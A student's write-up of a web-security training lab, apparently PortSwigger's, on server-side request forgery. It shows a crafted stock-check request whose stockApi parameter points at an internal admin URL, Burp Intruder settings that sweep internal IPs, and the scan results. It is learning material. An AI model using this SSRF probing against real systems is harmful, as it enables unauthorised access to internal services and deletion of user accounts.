

Server Site Request Forgery Lab-02

M.Gobi Shankar

CB.SC.P2CYS23019

Basic SSRF Against Another Back-End System

In this lab we going access the /admin panel which is in a different host , first we need to find the address of the host and the only we can perform the deleting process of user calrlos. So we are using intruder to find the address of the host and repeater to access the /admin panel .

```
1 POST /product/stock HTTP/2
2 Host: 0ab700c603435f0280f030b70063000b.web-security-academy.net
3 Cookie: session=BjohQ2RM8xNMGuahipJo2g0x0Btzfrb
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: */*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0ab700c603435f0280f030b70063000b.web-security-academy.net/product?productId=1
9 Content-Type: application/x-www-form-urlencoded
10 Origin: https://0ab700c603435f0280f030b70063000b.web-security-academy.net
11 Content-Length: 96
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Site: same-origin
15 Te: trailers
16
17 stockApi=http://192.168.0.515:8080/admin
```

2 Payload settings [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ☒ Sequential ☐ Random

From: 1

To: 255

Step: 1

How many: 1

Number format

Base:

Min integer digits:

Max integer digits:

Min fraction digits:

Max fraction digits:

Examples

1.1

987654321.1234568

2. Intruder attack of https://0ab700c603435f0280f030b70063000b.web-security-academy.net

Attack	Save	Columns				
Results	Positions	Payloads	Resource pool	Settings		
Filter: Showing all items						
Request	Payload	Status co...	Error	Timeout	Length	Comment
7	7	200	<input type="checkbox"/>	<input type="checkbox"/>	3270	
0		400	<input type="checkbox"/>	<input type="checkbox"/>	141	
1	1	400	<input type="checkbox"/>	<input type="checkbox"/>	141	
2	2	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
3	3	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
4	4	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
5	5	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
6	6	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
8	8	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
9	9	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
10	10	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
11	11	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
12	12	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
13	13	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
14	14	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
15	15	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
16	16	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
17	17	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
18	18	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
19	19	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
20	20	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
21	21	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
22	22	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
23	23	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
24	24	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
25	25	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
26	26	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
27	27	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
28	28	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
29	29	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
30	30	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
31	31	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
32	32	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
33	33	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
34	34	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
35	35	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
36	36	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	
37	37	500	<input type="checkbox"/>	<input type="checkbox"/>	2477	

